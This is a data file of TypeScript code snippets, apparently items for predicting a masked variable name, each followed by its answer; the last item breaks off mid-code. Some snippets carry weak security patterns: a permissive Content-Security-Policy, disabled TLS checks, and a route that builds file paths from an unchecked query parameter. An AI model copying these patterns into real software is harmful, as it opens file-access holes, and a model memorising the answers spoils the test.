  const content = await llmServiceInstance.translate(text, fromLang,  [MASK] );

  console.log(content);
  return c.json({ status: 0, msg: 'ok', data: content })
})
",toLang
946,"import { ClassType, isObject, toEntries } from '@michealpearce/utils'
import {
	BaseEntity,
	CreateDateColumn,
	DeleteDateColumn,
	PrimaryGeneratedColumn,
	UpdateDateColumn,
} from 'typeorm'
import { BaseModelData, ModelData, ModelIDData, ModelUUIDData } from './data'
import { isBaseModel } from './functions'
import type { DataType, DateData, Nullable } from './types'

export abstract class BaseModel<Data extends BaseModelData> extends BaseEntity {
	static init<M extends BaseModel<any>>(
		this: ClassType<M>,
		data: Partial<DataType<M>> = {},
	): M {
		return new this().assign(data)
	}

	// type only property, does not exist on the instance, is not/do not set
	declare '@data': Data

	assign(data: Partial<Data>) {
		const  [MASK]  = this as any

		for (const [key, value] of toEntries(data)) {
			if (key in  [MASK]  && isBaseModel( [MASK] [key]) && isObject(value))
				 [MASK] [key].assign(value)
			else  [MASK] [key] = value
		}

		return this
	}
}

export abstract class Model<Data extends ModelData>
	extends BaseModel<Data>
	implements ModelData
{
	@CreateDateColumn()
	declare created: DateData

	@UpdateDateColumn()
	declare updated?: Nullable<DateData>

	@DeleteDateColumn()
	declare deleted?: Nullable<DateData>
}

export abstract class ModelID<Data extends ModelIDData>
	extends Model<Data>
	implements ModelIDData
{
	@PrimaryGeneratedColumn()
	declare id: number
}

export abstract class ModelUUID<Data extends ModelUUIDData>
	extends Model<Data>
	implements ModelUUIDData
{
	@PrimaryGeneratedColumn('uuid')
	declare uuid: string
}
",model
947,"import { ESLintUtils, TSESTree } from '@typescript-eslint/utils'

// Add files to this list only if there is no other option.
// Almost always this should be third-party libraries.
// In case of first-party code, prefer to move it into correct location
const allowList = new Set(['sql-template-tag', '@prisma/client-common', '@prisma/generator', 'decimal.js'])

export default ESLintUtils.RuleCreator.withoutDocs({
  defaultOptions: [],
  meta: {
    messages: {
      notAllowedImport: 'Files in ./types/exported are allowed to import only from other files in ./types/exported',
    },
    schema: [],
    type: 'problem',
  },

  create(context) {
    const  [MASK]  = (
      node: TSESTree.ImportDeclaration | TSESTree.ExportAllDeclaration | TSESTree.ExportNamedDeclaration,
    ) => {
      if (!node.source) {
        return
      }
      if (!node.source.value.startsWith('./') && !allowList.has(node.source.value)) {
        context.report({
          messageId: 'notAllowedImport',
          node: node.source,
        })
      }
    }
    return {
      ImportDeclaration:  [MASK] ,
      ExportAllDeclaration:  [MASK] ,
      ExportNamedDeclaration:  [MASK] ,
    }
  },
})
",checkImport
948,"import I_Color from '../color/I_Color';
import I_RGB from '../color/I_RGB';

const colorizer = new I_Color();
type DataForLogging = string | string[];

export default class IOut {
    /**
   * The standard out write stream
   */
    private stdout: NodeJS.WriteStream;

    /**
   * The standard error write stream
   */
    private stderr: NodeJS.WriteStream;

    /**
   * Create a new STDOUT wrapper
   * @param stdout Standard out write stream
   * @param stderr Standard error write steam
   */
    public constructor(stdout: NodeJS.WriteStream, stderr: NodeJS.WriteStream) {
        this.stdout = stdout;
        this.stderr = stderr;
    }

    /**
   * Log a message into the terminal
   * @param prefix The prefix
   * @param color The prefix's color
   * @param text The text to log
   * @param colorTextWithPrefix Whether to apply the prefix color to the text
   * @param channel Whether to send the message to the error or standard channel
   */
    public logWithPrefix(
        prefix: string,
        color: I_RGB | string | null,
        text: string | string[],
        colorTextWithPrefix = false,
        channel = 'out' as 'out' | 'error',
    ) {
        const muteText = (textToMute: string) => colorizer.withRGB(
            {
                r: 83,
                g: 83,
                b: 83,
            },
            textToMute,
        );

        const colorizePrefix = () => {
            if (!color) {
                return prefix;
            }

            if (typeof color === 'string') {
                return colorizer.withHex(color, prefix);
            }

            return colorizer.withRGB(color, prefix);
        };

        const colorizeText = (textToColorize: string) => {
            if (!color || !colorTextWithPrefix) {
                return text;
            }

            if (typeof color === 'string') {
                return colorizer.withHex(color, textToColorize);
            }

            return colorizer.withRGB(color!, textToColorize);
        };

        const log = ( [MASK] : string) => {
            if (channel === 'out') {
                this.stdout.write(`${ [MASK] }\n`);
                return;
            }

            this.stderr.write(`${ [MASK] }\n`);
        };

        const prefixWithBrackets = (textForPrefix: string) => `${muteText('[ ')} ${textForPrefix} ${muteText(' ]')}`;

        if (typeof text === 'string') {
            log(`${prefixWithBrackets(colorizePrefix())}  ${colorizeText(text)}`);
        } else {
            text.forEach((textLine) => {
                log(
                    `${prefixWithBrackets(colorizePrefix())}  ${colorizeText(textLine)}`,
                );
            });
        }
    }

    /**
   * Log a message out into the console
   * @param data The data to log to the console
   */
    public log(data: DataForLogging) {
        this.logWithPrefix('•', null, data);
    }

    /**
   * Log a success message out into the console
   * @param data The success message to log to the console
   */
    public success(data: DataForLogging) {
        this.logWithPrefix(
            '•',
            {
                r: 83,
                g: 255,
                b: 83,
            },
            data,
        );
    }

    /**
   * Log a warning message into the console
   * @param data The data to warn in the console
   */
    public warning(data: DataForLogging) {
        this.logWithPrefix(
            '•',
            {
                r: 255,
                g: 150,
                b: 83,
            },
            data,
        );
    }

    /**
   * Log an error message out into the console
   * @param data The error message to log to the console
   */
    public error(data: DataForLogging) {
        this.logWithPrefix(
            '•',
            {
                r: 255,
                g: 83,
                b: 83,
            },
            data,
            true,
        );
    }

    /**
   * Log a notice message into the console
   * @param data The notice to write
   */
    public notice(data: DataForLogging) {
        this.logWithPrefix(
            '•',
            {
                r: 255,
                g: 200,
                b: 83,
            },
            data,
            true,
        );
    }
}
",textToLog
949,"import * as core from ""@actions/core"";
import * as exec from ""@actions/exec"";
import * as tc from ""@actions/tool-cache"";
import * as fs from ""node:fs"";
import * as path from ""node:path"";
import { getModeFromInput } from ""./lib"";

const breakpointVersion = ""0.0.23"";

interface WaitConfig {
	endpoint: string;
	duration: string;
	authorized_keys?: string[];
	authorized_github_users?: string[];
	shell?: string[];
	allowed_ssh_users: string[];
	webhooks?: Webhook[];
	slack_bot?: SlackBot;
}

class Webhook {
	url: string;
	payload: unknown;
}

class SlackBot {
	channel: string;
	token: string;
}

async function run(): Promise<void> {
	try {
		await installBreakpoint();
		await runBreakpoint();
	} catch (err) {
		core.setFailed(err.message);
	}
}

async function installBreakpoint(): Promise<void> {
	// Download the specific version of the tool, e.g. as a tarball.
	const toolURL = await getDownloadURL();
	core.info(`Downloading: ${toolURL}`);

	const pathToTarball = await tc.downloadTool(toolURL, null, null, {
		CI: process.env.CI,
		""User-Agent"": ""breakpoint-action"",
		accept: ""application/octet-stream"",
	});

	// Extract the tarball onto the runner.
	const pathToCLI = await tc.extractTar(pathToTarball);

	// Expose the tool by adding it to the $PATH.
	core.addPath(pathToCLI);
}

async function runBreakpoint(): Promise<void> {
	const  [MASK]  = tmpFile(""config.json"");
	const config = createConfiguration();

	const mode = getModeFromInput();

	core.debug(`Mode: ${mode}`);

	if (mode === ""background"") {
		core.info(""Duration input is ignored when running in background mode"");
		config.duration = ""10h"";
	}

	core.debug(`Configuration: ${config}`);

	fs.writeFile( [MASK] , JSON.stringify(config), (err) => {
		if (err) {
			core.setFailed(`Failed to write config file: ${err.message}`);
			return;
		}
	});

	core.debug(new Date().toTimeString());
	if (mode === ""pause"") {
		await exec.exec(`breakpoint wait --config=${ [MASK] }`);
	} else {
		await exec.exec(`breakpoint start --config=${ [MASK] }`);
	}
	core.debug(new Date().toTimeString());
}

async function getDownloadURL(): Promise<string> {
	const { RUNNER_ARCH, RUNNER_OS } = process.env;

	let arch = """";
	switch (RUNNER_ARCH) {
		case ""X64"":
			arch = ""amd64"";
			break;
		case ""ARM64"":
			arch = ""arm64"";
			break;
		default:
			throw new Error(`Unsupported architecture: ${RUNNER_ARCH}`);
	}

	let os = """";
	switch (RUNNER_OS) {
		case ""macOS"":
			os = ""darwin"";
			break;
		case ""Linux"":
			os = ""linux"";
			break;
		case ""Windows"":
			os = ""windows"";
			break;
		default:
			throw new Error(`Unsupported operating system: ${RUNNER_OS}`);
	}

	return `https://github.com/namespacelabs/breakpoint/releases/download/v${breakpointVersion}/breakpoint_${os}_${arch}.tar.gz`;
}

function createConfiguration(): WaitConfig {
	const config: WaitConfig = {
		endpoint: core.getInput(""endpoint""),
		duration: core.getInput(""duration""),
		allowed_ssh_users: [""runner""],
	};

	let authorized = false;
	const authorizedUsers: string = core.getInput(""authorized-users"");
	if (authorizedUsers) {
		config.authorized_github_users = authorizedUsers.split("","").map((u) => String(u).trim());
		authorized = true;
	}

	const authorizedKeys: string = core.getInput(""authorized-keys"");
	if (authorizedKeys) {
		config.authorized_keys = authorizedKeys.split("","").map((k) => String(k).trim());
		authorized = true;
	}

	if (!authorized) {
		throw new Error(""Neither 'authorized-users' nor 'authorized-keys' is provided."");
	}

	const webhookDefFile: string = core.getInput(""webhook-definition"");
	if (webhookDefFile) {
		const webhookDef: string = fs.readFileSync(webhookDefFile, ""utf8"");
		config.webhooks = [JSON.parse(webhookDef)];
	}

	const shell: string = core.getInput(""shell"");
	if (shell) {
		config.shell = [shell];
	} else if (process.env.RUNNER_OS === ""Windows"") {
		config.shell = [""c:\\windows\\system32\\cmd.exe""];
	}

	const slackChannel: string = core.getInput(""slack-announce-channel"");
	if (slackChannel) {
		const slackBot: SlackBot = {
			channel: slackChannel,
			token: ""${SLACK_BOT_TOKEN}"",
		};
		config.slack_bot = slackBot;
	}

	return config;
}

function tmpFile(file: string): string {
	const tmpDir = path.join(process.env.RUNNER_TEMP, ""breakpoint"");
	if (!fs.existsSync(tmpDir)) {
		fs.mkdirSync(tmpDir);
	}

	return path.join(tmpDir, file);
}

run();
",configFile
950,"import {
  ForbiddenException,
  HttpServer,
  INestApplication,
} from '@nestjs/common';
import { NestFastifyApplication } from '@nestjs/platform-fastify';
import type { OpenAPIObject } from '@nestjs/swagger';
import Handlebars from 'handlebars';
import { posix, resolve } from 'path';
import * as fsPromises from 'fs/promises';

/**
 * @see {@link https://docs.stoplight.io/docs/elements/b074dc47b2826-elements-configuration-options}
 */
export interface StoplightElementsOptions {
  apiDescriptionDocument?: string;
  apiDescriptionUrl?: string;
  basePath?: string;
  hideInternal?: boolean;
  hideTryIt?: boolean;
  hideSchemas?: boolean;
  hideExport?: boolean;
  tryItCorsProxy?: string;
  tryItCredentialPolicy?: string;
  layout?: 'sidebar' | 'stacked';
  logo?: string;
  router?: 'hash' | 'memory';
}

export interface StoplightElementsModuleOptions
  extends StoplightElementsOptions {
  stoplightJSUrl?: string;
  stoplightCSSUrl?: string;
  favicon?: string;
  auth?: (req: any) => boolean;
}

const defaultOptions = { router: 'hash' };

/**
 *
 * @example
 * ```
 * StoplightElementsModule.setup('/docs',app, xxxDoc, {
 *    logo: 'icon.png'
 * })
 *
 * ```
 */
export class StoplightElementsModule {
  public static async setup(
    path: string,
    app: INestApplication,
    document: OpenAPIObject,
    options?: StoplightElementsModuleOptions,
  ) {
    const httpAdapter = app.getHttpAdapter();
    const userOptions = Object.assign({}, defaultOptions, options);

    if (this.isFastify(httpAdapter)) {
      return this.setupFastify(
        path,
        app as NestFastifyApplication,
        document,
        userOptions,
      );
    }
  }

  private static isFastify(httpAdapter: HttpServer) {
    return (
      httpAdapter &&
      httpAdapter.constructor &&
      httpAdapter.constructor.name === 'FastifyAdapter'
    );
  }

  private static startStatic(path: string, app: INestApplication) {
    if (this.isFastify(app.getHttpAdapter())) {
      (app as NestFastifyApplication).useStaticAssets({
        root: resolve(__dirname, '../views'),
        prefix: path,
        decorateReply: false,
      });
    }
  }

  private static getGlobalPrefix(app: any) {
    return app.config?.getGlobalPrefix() ?? '';
  }

  private static prefixSlug(path: string) {
    return path?.[0] !== '/' ? `/${path}` : path;
  }

  public static async setupFastify(
    path: string,
    app: NestFastifyApplication,
    document: OpenAPIObject,
    options?: StoplightElementsModuleOptions,
  ) {
    const  [MASK]  = this.prefixSlug(posix.normalize(path)),
      globalPrefix = this.getGlobalPrefix(app);

    const finalPath = globalPrefix
      ? `${globalPrefix}${ [MASK] }`
      :  [MASK] ;

    const jsonDocument = JSON.stringify(document);

    options.apiDescriptionDocument = jsonDocument;
    options.basePath = finalPath;

    const templatePath = resolve(__dirname, '../views/stoplight-elements.hbs');
    const content = await fsPromises.readFile(templatePath, 'utf-8');
    const template = Handlebars.compile(content),
      HTML = template(options);
    const httpAdapter = app.getHttpAdapter();

    httpAdapter.get(finalPath, (_req, res) => {
      res.redirect(`${finalPath}/`);
    });

    try {
      httpAdapter.get(`${finalPath}/`, async (req, res) => {
        if (options.auth && !(await options.auth(req))) {
          throw new ForbiddenException();
        }

        res.header(
          'Content-Security-Policy',
          ""default-src * 'unsafe-inline' 'unsafe-eval'; script-src * 'unsafe-inline' 'unsafe-eval'; child-src * 'unsafe-inline' 'unsafe-eval' blob:; worker-src * 'unsafe-inline' 'unsafe-eval' blob:; connect-src * 'unsafe-inline'; img-src * data: blob: 'unsafe-inline'; frame-src *; style-src * 'unsafe-inline';"",
        );
        res.type('text/html');
        res.send(HTML);
      });
    } catch (error) {}

    this.startStatic(finalPath, app);
  }
}
",formatPath
951,"/*
  uamp-js — Universal Agent Messaging Protocol SDK (v1.0.0)
  =========================================================
  Target: UAMP 1.0 (stable envelope freeze)
  - Zero `any`: strict‑mode, fully typed helpers
  - No external path/URL hacks (ESM‑first)
  - Minimal public surface: types + `UAMPClient` + crypto helpers
  - Ready for automatic `.d.ts` generation via `tsc --declaration`
*/

/* ---------------------------------------------------------------- *
 * 1.  Core Data Types (mirrors UAMP 1.0 JSON Schemas)              *
 * ---------------------------------------------------------------- */
export interface Body {
  /** MIME type of the payload (e.g. `text/plain`, `image/png`) */
  type: string;
  /** Raw UTF‑8 string or Base64URL when `encoding !== ""utf-8""` */
  content: string;
  /** Text encoding; default `utf-8` */
  encoding?: string;
  /** Compression codec; default `none` */
  compression?: string;
}

export interface ContextItem {
  id: string;           // Reference envelope UUID
  hash: string;         // sha256:… hash of referenced envelope
}

export type Intent =
    | 'ask' | 'inform' | 'propose' | 'confirm' | 'deny'
    | 'progress' | 'cancel' | 'subscribe' | 'notify' | 'error';

export interface Envelope {
  id: string;                 // urn:uuid:…
  ts: string;                 // ISO‑8601 UTC
  from: string;               // DID or URI
  to: string[];
  intent: Intent;
  reply_to?: string;
  context?: ContextItem[];
  stream_id?: string;
  delta_window?: number;      // default 64
  body: Body;
  cap_token?: string;         // JWT/CWT
  sig: string;                // detached JWS
  ext?: Record<string, unknown>;
}

export type DeltaType = 'patch' | 'chunk' | 'done' | 'cancel' | 'error' | 'progress';
export interface Delta {
  delta_seq: number;
  stream_id: string;
  ts: string;
  type: DeltaType;
  payload?: Record<string, unknown>;
}

/* ---------------------------------------------------------------- *
 * 2.  Crypto Helpers (detached JWS ES256 by default)                *
 * ---------------------------------------------------------------- */
import { createHash, randomUUID } from 'crypto';
import { SignJWT, jwtVerify, generateKeyPair, KeyLike } from 'jose';

export async function generateKeyPairES256() {
  return generateKeyPair('ES256');
}

function canonicalJson(obj: unknown): Buffer {
  /**
   * Canonical JSON: stable key order & no insignificant whitespace.
   * This is required by UAMP 1.0 signature rules (spec §4).
   */
  return Buffer.from(JSON.stringify(obj, Object.keys(obj as Record<string, unknown>).sort()));
}

export async function signEnvelope<T extends Omit<Envelope, 'sig'>>(env: T, key: KeyLike): Promise<string> {
  const sha256 = createHash('sha256').update(canonicalJson(env)).digest('hex');
  return new SignJWT({ sha256 }).setProtectedHeader({ alg: 'ES256' }).sign(key);
}

export async function verifyEnvelopeSignature(env: Envelope, keys: readonly KeyLike[]): Promise<void> {
  const { sig, ...unsigned } = env;
  const expected = createHash('sha256').update(canonicalJson(unsigned)).digest('hex');

  for (const k of keys) {
    try {
      const { payload } = await jwtVerify(sig, k, { algorithms: ['ES256', 'EdDSA', 'RS256'] });
      if ((payload as { sha256?: string }).sha256 === expected) return;
    } catch {/* try next key */}
  }
  throw new Error('UAMP signature validation failed');
}

/* ---------------------------------------------------------------- *
 * 3.  HTTP/2 Client (POST + SSE)                                   *
 * ---------------------------------------------------------------- */
import { request, Agent } from 'undici';

export interface UAMPClientOptions {
  /** Base URL of the remote agent (TLS endpoint). */
  baseUrl: string;
  /** Signing key (private). */
  key: KeyLike;
  /** Bearer access token (OAuth 2.1) */
  token?: string;
  /** Disable TLS verification (dev only). */
  insecureTLS?: boolean;
}

export class UAMPClient {
  private readonly opts: UAMPClientOptions;
  private readonly agent: Agent;

  constructor(opts: UAMPClientOptions) {
    this.opts = opts;
    this.agent = new Agent({ connect: { rejectUnauthorized: !opts.insecureTLS } });
  }

  /**
   * Send one‐off *ask* message. Returns the `stream_id` (if present).
   */
  async send(bodyText: string, to: string, intent: Intent = 'ask'): Promise<string | undefined> {
    const  [MASK]  = randomUUID();
    const envNoSig: Omit<Envelope, 'sig'> = {
      id: `urn:uuid:${randomUUID()}`,
      ts: new Date().toISOString(),
      from: 'did:web:client.example',
      to: [to],
      intent,
      stream_id:  [MASK] ,
      delta_window: 64,
      body: { type: 'text/plain', content: bodyText },
    };
    const sig = await signEnvelope(envNoSig, this.opts.key);
    const env: Envelope = { ...envNoSig, sig };

    const headers: Record<string, string> = {
      'content-type': 'application/uamp+json;v=1',
    };
    if (this.opts.token) headers['authorization'] = `Bearer ${this.opts.token}`;

    const res = await request(`${this.opts.baseUrl}/v1/messages`, {
      method: 'POST',
      body: JSON.stringify(env),
      headers,
      dispatcher: this.agent,
    });
    if (res.statusCode !== 202) {
      const body = await res.body.text();
      throw new Error(`Unexpected status ${res.statusCode}: ${body}`);
    }
    return  [MASK] ;
  }
}

/* ---------------------------------------------------------------- *
 * 4.  CLI Demo (node ts-node src/index.ts ""hello"")                  *
 * ---------------------------------------------------------------- */
if (require.main === module) {
  (async () => {
    const message = process.argv[2] ?? 'Hello UAMP';
    const { privateKey } = await generateKeyPairES256();
    const client = new UAMPClient({ baseUrl: 'https://localhost:8443', key: privateKey, insecureTLS: true });
    await client.send(message, 'did:web:worker.example');
    console.log('Envelope sent');
  })();
}
",streamId
952,"import { AppointmentDetails } from './types';

export function getSystemPrompt(details: AppointmentDetails): string {
  const companyName = details.company_name || 'Acme Appointments';
  
  const  [MASK]  = `
    ### Background ###

    You are Alex, a professional, friendly, diligent appointment coordinator for ${companyName}. 

    You have just made an outbound phone call. The person you are calling is ${details.client_name}, who has an appointment scheduled with ${companyName}.

    Your overall goal is to confirm whether ${details.client_name} can attend their upcoming appointment on ${details.appointment_date} at ${details.appointment_time}, and if not, to help them reschedule to a more convenient time.

    Since your messages will be spoken via a TTS system, you speak in pronounceable characters and quick, conversational sentences.

    In order to pursue your ultimate goal of confirming or rescheduling the appointment, you follow a specific call flow while remaining casual and conversational.

    When you're outputting dates, output them as individual components. For example, the date 12/25/2022 should be read as ""December 25th 2022"". For times, ""10:00 AM"" should be outputted as ""10 AM"".

    ### Objectives ###

    Your ultimate goal is to confirm ${details.client_name}'s appointment or reschedule it if necessary, while remaining professional and courteous.

    As the conversation progresses you'll follow a specific call flow and receive updates on your current state.

    ### Important Rules ###

    1. You MUST only use actions that are valid for your current state.
    2. Never attempt to skip states or use actions that aren't defined for your current state.
    3. For example, in the 'reschedule_offering' state, you can ONLY use the 'offer_alternatives' action.
    4. Always check which actions are valid before selecting an action.
    5. Follow the conversation flow naturally while respecting the state machine constraints.`;

  return  [MASK] ;
}

// Instructions for the agent based on current state
export function getInstructionsFromTemplate(templateText: string): string {
  return `<instruction>${templateText}</instruction>`;
}",basePrompt
953,"import * as fc from 'fast-check';

import { DiceRoll } from '../../../src/logic/DiceRoll.js';


/**
 * This shows how to implement a custom shrinker and arbitrary in fast-check js
 */


/** @internal */
function halvePosInteger(n: number): number {
  return Math.floor(n / 2);
}
/** @internal */
function halveNegInteger(n: number): number {
  return Math.ceil(n / 2);
}

/**
 * Compute shrunk values to move from current to target
 * @internal
 */
function shrinkDice(current: DiceRoll, target: number, tryTargetAsap: boolean): fc.Stream<fc.Value<DiceRoll>> {
  const realGap = current.getValue() - target;
  function* shrinkDecr(): IterableIterator<fc.Value<number>> {
    let previous: number | undefined = tryTargetAsap ? undefined : target;
    const gap = tryTargetAsap ? realGap : halvePosInteger(realGap);
    for (let toremove = gap; toremove > 0; toremove = halvePosInteger(toremove)) {
      // The check toremove === realGap ensures we will not face any overflow
      // for values like - current=4489181317763721 and target=-5692628479909134 - we overflow in realGap
      const next = toremove === realGap ? target : current.getValue() - toremove;
      yield new fc.Value(next, previous); // previous indicates the last passing value
      previous = next;
    }
  }
  function* shrinkIncr(): IterableIterator<fc.Value<number>> {
    let previous: number | undefined = tryTargetAsap ? undefined : target;
    const gap = tryTargetAsap ? realGap : halveNegInteger(realGap);
    for (let toremove = gap; toremove < 0; toremove = halveNegInteger(toremove)) {
      const next = toremove === realGap ? target : current.getValue() - toremove;
      yield new fc.Value(next, previous); // previous indicates the last passing value
      previous = next;
    }
  }
  return (realGap > 0 ? fc.stream(shrinkDecr()) : fc.stream(shrinkIncr())).map(x => new fc.Value(new DiceRoll(x.value), undefined));
}

class DiceArbitrary extends fc.Arbitrary<DiceRoll> {
  private min: number;
  private max: number;
  constructor(min: number, max: number) {
    super();
    this.min = min;
    this.max = max; 
  }

  public generate( [MASK] : fc.Random, _biasFactor: number): fc.Value<DiceRoll> {
    return new fc.Value(new DiceRoll( [MASK] .nextInt(this.min, this.max)), undefined);
  }

  public canShrinkWithoutContext(value: unknown): value is DiceRoll {
    return (
      typeof value === 'object' &&
      value instanceof DiceRoll &&
      Number.isInteger(value.getValue()) &&
      !Number.isNaN(value.getValue()) &&
      this.min <= value.getValue() &&
      value.getValue() <= this.max
    );
  }

  public shrink(current: DiceRoll, context: unknown): fc.Stream<fc.Value<DiceRoll>> {
    if (!DiceArbitrary.isValidContext(current, context)) {
      // No context:
      //   Take default target and shrink towards it
      //   Try the target on first try
      const target = this.defaultTarget();
      return shrinkDice(current, target, true);
    }
    if (this.isLastChanceTry(current, context)) {
      // Last chance try...
      // context is set to undefined, so that shrink will restart
      // without any assumptions in case our try find yet another bug
      return fc.Stream.of(new fc.Value(new DiceRoll(context), undefined));
    }
    // Normal shrink process
    return shrinkDice(current, context, false);
  }

  private defaultTarget(): number {
    // min <= 0 && max >= 0   => shrink towards zero
    if (this.min <= 0 && this.max >= 0) {
      return 1;
    }
    // min < 0                => shrink towards max (closer to zero)
    // otherwise              => shrink towards min (closer to zero)
    return this.min < 0 ? this.max : this.min;
  }

  private isLastChanceTry(current: DiceRoll, context: number): boolean {
    // If true...
    // We already reached what we thought to be the minimal failing value.
    // But in-between other values may have shrunk (values coming from other arbitraries).
    // In order to check if they impacted us, we just try to move very close to our current value.
    // It is not ideal but it can help restart a shrinking process that stopped too early.
    const value = current.getValue();
    if (value > 0) {
      return value === context + 1 && value > this.min;
    }
    if (value < 0) {
      return value === context - 1 && value < this.max;
    }

    return false;
  }

  private static isValidContext(current: DiceRoll, context?: unknown): context is number {
    // Context contains a value between zero and current that is known to be
    // the closer to zero passing value*.
    // *More precisely: our shrinker will not try something closer to zero
    if (context === undefined) {
      return false;
    }
    if (typeof context !== 'number') {
      throw new Error(`Invalid context type passed to IntegerArbitrary (#1)`);
    }
    if (context !== 0 && Math.sign(current.getValue()) !== Math.sign(context)) {
      throw new Error(`Invalid context value passed to IntegerArbitrary (#2)`);
    }
    return true;
  }
}

describe('DiceArbitrary example', () => {
  it('A D6 should generate numbers between 1 and 6', () => {
    fc.assert(fc.property(new DiceArbitrary(1, 6), (d) => {
      expect(d).toBeInstanceOf(DiceRoll);
      expect(d.getValue()).toBeGreaterThanOrEqual(1);
      expect(d.getValue()).toBeLessThanOrEqual(6);
    }));
  });
});",mrng
954,"// Copyright The OpenTelemetry Authors
// SPDX-License-Identifier: Apache-2.0
import { NextResponse } from ""next/server"";
import fs from ""fs"";
import * as fsPromises from ""fs/promises"";
import path from ""path"";
import { FlagConfig } from ""@/utils/types"";
import { Variants } from ""antd/es/config-provider"";

export async function GET(request: Request) {
  const { searchParams } = new URL(request.url);
  const file_name = searchParams.get(""file_name"") || ""demo.flagd.json"";
  const flag_id = searchParams.get(""flag_id"") || undefined;
  if (!flag_id) {
    return NextResponse.json({ error: ""flag_id param is empty."" }, { status: 403 });
  }
  let data:any
  try {
    const filePath = path.join(process.cwd(), ""data"", file_name);
    const fileContents = fs.readFileSync(filePath, ""utf8"");
    data = JSON.parse(fileContents);
  } catch (error) {
    console.error(""Error reading file:"", error);
    return NextResponse.json({ error: ""Failed to read data file"" }, { status: 500 });
  }
  try {
    const flags = data?.flags ?? Object()
    const ids = Object.keys(flags)
    for (const id of ids) {
      if (id == flag_id) {
        const flagConfig: FlagConfig = flags[id];
        return NextResponse.json({
          id: id,
          variants: flagConfig.variants,
          defaultVariant: flagConfig.defaultVariant
        });
      }
    }
    return NextResponse.json({
      id: flag_id,
      variants: {},
      defaultVariant: undefined
    });
  } catch (error) {
    console.error(""Error get flag: "", error)
    return NextResponse.json({ 
      id: flag_id,
      success: false,
      error: ""Failed to get flag, "" + error
    }, { status: 500 });
  }
}

export async function POST(request: Request) {
  const { searchParams } = new URL(request.url);
  const file_name = searchParams.get(""file_name"") || ""demo.flagd.json"";
  const flag_id = searchParams.get(""flag_id"") || undefined;
  const  [MASK]  = searchParams.get(""default_variant"") || undefined;
  if (!flag_id) {
    return NextResponse.json({ error: ""flag_id param is empty."" }, { status: 403 });
  }
  if (! [MASK] ) {
    return NextResponse.json({ error: ""default_variant param is empty."" }, { status: 403 });
  }
  let data = Object()
  try {
    const filePath = path.join(process.cwd(), ""data"", file_name);
    const fileContents = fs.readFileSync(filePath, ""utf8"");
    data = JSON.parse(fileContents);
  } catch (error) {
    console.error(""Error reading file:"", error);
    return NextResponse.json({ error: ""Failed to read data file"" }, { status: 500 });
  }
  if (!data.flags) {
    data.flags = Object()
  }
  try {
    let flags = data.flags
    const ids = Object.keys(flags)
    if (ids.indexOf(flag_id) === -1) {
      return NextResponse.json({
        id: flag_id,
        success: false,
        error: ""Failed to find '""+flag_id+""' in ["" + ids.toString() + ""]""
      }, { status: 403 });
    }
    const flagConfig: FlagConfig = flags[flag_id];
    const keys = Object.keys(flagConfig?.variants ?? {})
    if (keys.indexOf( [MASK] ) === -1) {
      return NextResponse.json(
        {
          id: flag_id,
          success: false,
          error: ""Failed to find '"" +  [MASK]  + ""' in ["" + keys.toString()+ ""]"",
        },
        { status: 403 },
      );
    }
    flags[flag_id][""defaultVariant""] =  [MASK] 
    data.flags = flags
    const filePath = path.join(process.cwd(), ""data"", file_name);
    
    await fsPromises.writeFile(filePath, JSON.stringify(data, null, 2), ""utf8"");
    
    return NextResponse.json({
      id: flag_id,
      success: true
    });
  } catch (error) {
    console.error(""Error update flag: "", error)
    return NextResponse.json({ 
      id: flag_id,
      success: false,
      error: ""Failed to update flag, "" + error
    }, { status: 500 });
  }
}
",new_var
955,"import {
  Creep,
  OwnedStructure,
  Structure,
  StructureRampart,
  StructureTower,
} from ""game/prototypes"";
import { Flag, RESOURCE_SCORE, ScoreCollector, AreaEffect } from ""arena"";
import { constants, pathFinder, prototypes } from ""game"";
import {
  createConstructionSite,
  getObjectsByPrototype,
  // getTicks,
  // getTime,
  findInRange,
  findPath,
  findClosestByPath,
  getObjectById,
} from ""game/utils"";
import { CostMatrix } from ""game/path-finder"";
import { RESOURCE_ENERGY } from ""game/constants"";
import {
  EFFECT_DAMAGE,
  EFFECT_FREEZE,
  RESOURCE_SCORE_X,
  RESOURCE_SCORE_Y,
  RESOURCE_SCORE_Z,
} from ""arena/constants"";
import { Visual } from ""game/visual"";

export function loop(): void {
  // console.log(`The time is ${getTime()}`);

  const attack = constants.ATTACK;

  const costMatrix = new CostMatrix();

  const noUtilsCreeps = getObjectsByPrototype(Creep).filter((i) => i.my);

  // $ExpectType StructureContainer[]
  const containers = getObjectsByPrototype(prototypes.StructureContainer);

  // $ExpectType StructureContainer[]
  const extensions = getObjectsByPrototype(prototypes.StructureContainer);

  // $ExpectType Creep[]
  const myCreeps = getObjectsByPrototype(prototypes.Creep).filter((i) => i.my);

  // $ExpectType Creep[]
  const enemyCreeps = getObjectsByPrototype(prototypes.Creep).filter(
    (i) => !i.my
  );
  const enemyFlag = getObjectsByPrototype(Flag).find((i) => !i.my); // $ExpectType Flag | undefined

  const structures = getObjectsByPrototype(Structure); //// $ExpectType Structure[]
  const ownedStructures = getObjectsByPrototype(OwnedStructure); //// $ExpectType OwnedStructure[]

  const noUtilStructures = getObjectsByPrototype(Structure); //// $ExpectType Structure[]
  const noUtilOwnedStructures = getObjectsByPrototype(OwnedStructure); //// $ExpectType OwnedStructure[]

  // verification that getObjectById works.
  const creepForId = myCreeps[0];
  if (creepForId) {
    const creepFromGetObjectById = getObjectById(creepForId.id);
  }
  // TODO: creep actions

  // verification of Store object
  const myTower = getObjectsByPrototype(StructureTower).find((i) => i.my);
  if (myTower) {
    const energyStored = myTower.store[RESOURCE_ENERGY];
    const maxCapacity = myTower.store.getCapacity(RESOURCE_ENERGY);

    // $ExpectType Creep | null
    const findClosestByRange = myTower.findClosestByRange(
      getObjectsByPrototype(Creep).filter((i) => !i.my)
    );

    const findInRangeResult = myTower.findInRange(enemyCreeps, 1); // $ExpectType Creep[]
    const findPathToResult = myTower.findPathTo(findInRangeResult[0]); // $ExpectType PathStep[]
    // TODO: findPathTo with options
    const findClosestByPathResult = myTower.findClosestByPath(enemyCreeps); // $ExpectType Creep | null
    // TODO: findClosestByPath with options

    // testing utils
    const utilsFindInRangeResult = findInRange(myTower, enemyCreeps, 1); // $ExpectType Creep[]
    const utilsFindPathToResult = findPath(myTower, utilsFindInRangeResult[0]); // $ExpectType PathStep[]
    // TODO: findPathTo with options
    // $ExpectType Creep
    const utilsFindClosestByPathResult = findClosestByPath(
      myTower,
      enemyCreeps
    );
    // TODO: findClosestByPath with options

    if (enemyFlag) {
